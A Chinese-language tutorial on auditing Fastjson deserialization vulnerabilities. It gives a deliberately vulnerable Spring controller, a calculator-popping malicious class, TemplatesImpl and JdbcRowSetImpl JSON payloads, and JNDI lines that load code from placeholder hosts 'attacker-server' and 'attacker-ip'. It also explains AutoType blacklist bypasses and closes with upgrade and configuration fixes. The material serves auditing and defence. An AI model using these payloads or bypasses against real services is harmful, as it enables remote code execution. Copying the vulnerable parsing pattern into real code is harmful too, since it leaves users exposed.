Java漏洞在白盒审计中的技巧——反序列化篇(Fastjson)
字数 2276 2025-08-29 08:29:42
Fastjson反序列化漏洞分析与防御指南
一、漏洞原理
Fastjson反序列化漏洞的核心问题在于:当反序列化过程中自动加载了恶意类(通过@type指定)时,可能触发任意代码执行。
关键点
- AutoType机制:Fastjson通过
@type标识类名,反序列化时会尝试实例化该类 - 危险类利用:攻击者通过指定包含危险方法的类(如
TemplatesImpl),构造恶意JSON - 版本差异:漏洞主要存在于1.2.24及之前版本,后续版本通过关闭AutoType默认值增加了安全防护
二、漏洞代码示例
1. 存在漏洞的服务端代码(Spring Boot示例)
@RestController
public class VulnerableController {
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
// 危险操作:直接使用fastjson解析不可信数据
Object obj = JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);
return "Parsed: " + obj.getClass().getName();
}
}
2. 恶意类构造(攻击者准备的Exploit类)
public class EvilClass {
static {
try {
// 弹计算器作为攻击演示(实际攻击可能是更危险的操作)
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
三、攻击利用过程
1. 构造恶意JSON
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADIAlQ..."],
"_name": "hack",
"_tfactory": {},
"_outputProperties": {}
}
2. 攻击步骤
- 编译
EvilClass.java生成class文件 - 将class文件进行Base64编码
- 发送恶意HTTP请求:
curl -X POST http://vulnerable-server/parse \
-H "Content-Type: application/json" \
-d '{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADIAlQ..."],
"_name": "hack",
"_tfactory": {},
"_outputProperties": {}
}'
3. 漏洞触发过程
JSON.parseObject() -> 解析@type指定的类 -> 实例化TemplatesImpl -> 自动调用getOutputProperties() -> 加载恶意字节码 -> 执行static代码块中的代码
四、代码审计关键点
在审计Fastjson代码时,需要重点关注以下模式:
1. 危险方法调用
// 高风险用法
JSON.parse(jsonStr);
JSON.parseObject(jsonStr, Object.class);
JSON.parseObject(jsonStr, Type.class, Feature.SupportNonPublicField);
// 相对安全的用法(指定具体类型)
JSON.parseObject(jsonStr, User.class);
2. AutoType相关配置
检查是否关闭了安全配置:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 危险配置
ParserConfig.getGlobalInstance().addAccept("com.example."); // 白名单控制
五、修复方案
1. 基础修复措施
<!-- (1) 升级到安全版本(1.2.83+) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
// (2) 关闭AutoType
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// (3) 使用安全模式(1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);
2. 安全编码规范
// 反序列化时指定具体类型
User user = JSON.parseObject(jsonStr, User.class);
// 不要反序列化接口/抽象类等非具体类型
六、漏洞验证POC
本地验证的完整代码:
public class FastjsonPoc {
public static void main(String[] args) {
// 构造恶意JSON(使用JNDI注入方式演示)
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker-server/Exploit\",\"autoCommit\":true}";
// 模拟服务端反序列化操作
try {
JSON.parse(payload);
} catch (Exception e) {
e.printStackTrace();
}
}
}
七、拓展知识
Gadgets链
实际攻击中需要构造利用链,常见的有:
- JdbcRowSetImpl(JNDI注入)
- TemplatesImpl(字节码加载)
- BCEL ClassLoader
绕过方式
新版本中的AutoType绕过技巧包括:
- 使用L开头、;结尾的类名
- 利用未在黑名单中的第三方库
- 特殊字符绕过
八、案例深入分析
案例1: TemplatesImpl字节码加载(无网络交互利用链)
漏洞版本:Fastjson <=1.2.24
利用链原理:
- 触发点:通过
_bytecodes字段加载恶意类字节码,利用TemplatesImpl类的getOutputProperties()方法触发类加载 - 攻击步骤:
- 构造恶意类:编写一个继承
AbstractTranslet的类(如EvilObject),在静态代码块或构造函数中植入恶意代码 - 生成字节码:将恶意类编译为.class文件,进行Base64编码
- 构造Payload
- 触发漏洞:服务端调用
JSON.parseObject()时,TemplatesImpl的getOutputProperties()方法被触发
- 构造恶意类:编写一个继承
技术细节:
- 关键字段:
_bytecodes存储恶意类字节码,_outputProperties触发getOutputProperties()方法 - 绕过限制:需启用
Feature.SupportNonPublicField以支持非公有字段的反序列化
案例2: 1.2.47版本缓存机制绕过AutoType
漏洞版本:Fastjson 1.2.47
利用链原理:
- 触发点:利用Fastjson的缓存机制绕过AutoType黑名单,结合
java.lang.Class和JdbcRowSetImpl实现JNDI注入 - 攻击步骤:
- 构造双Payload
- 利用缓存机制:第一个Payload通过
java.lang.Class将JdbcRowSetImpl类名加入缓存,第二个Payload绕过黑名单检查 - JNDI注入:触发
autoCommit属性后,服务端连接攻击者控制的LDAP/RMI服务器
技术细节:
- 缓存绕过:Fastjson在解析
java.lang.Class时会将类名缓存,后续解析时跳过黑名单校验 - 适用场景:JDK版本需支持JNDI远程加载(如JDK 8u191之前)
案例3: CTF比赛中利用FlagBean类的Getter方法
漏洞场景:CTF竞赛中的Flag读取
利用链原理:
- 触发点:通过无
setter但满足条件的getter方法触发敏感操作 - 攻击步骤:
- 构造Payload
- 触发
getFlag方法:FlagBean类中getFlag方法满足特定条件 - 执行敏感操作:
getFlag方法内部逻辑可能触发命令执行或直接返回Flag
技术细节:
- Fastjson规则:无
setter时,若getter满足特定条件(如返回值继承自Collection/Map),则会被调用 - 防御绕过:通过构造合法的类结构触发隐藏逻辑
案例4: 1.2.41版本黑名单绕过(类名双写)
漏洞版本:Fastjson 1.2.41
利用链原理:
- 触发点:利用Fastjson对类名处理的缺陷,通过双写类名绕过黑名单
- Payload构造:
{ "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "rmi://attacker-ip:1099/Exploit", "autoCommit": true } - 绕过原理:Fastjson在解析类名时会去除开头的
L和结尾的;,导致实际加载的类名为com.sun.rowset.JdbcRowSetImpl
九、漏洞修复与防御建议
- 升级版本:使用Fastjson >=1.2.83,默认关闭AutoType并增强黑名单
- 安全配置:
ParserConfig.getGlobalInstance().setSafeMode(true); // 完全禁用AutoType - 输入验证:避免反序列化未经验证的JSON数据,使用具体类而非
Object.class - 运行时防护:
# 限制JNDI远程加载 -Dcom.sun.jndi.ldap.object.trustURLCodebase=false
十、总结
Fastjson漏洞的核心在于AutoType机制和危险类的链式调用。在审计时需关注:
JSON.parseObject()未指定具体类型的情况- 黑名单覆盖范围及绕过可能性
- 敏感类(如
TemplatesImpl、JdbcRowSetImpl)的调用路径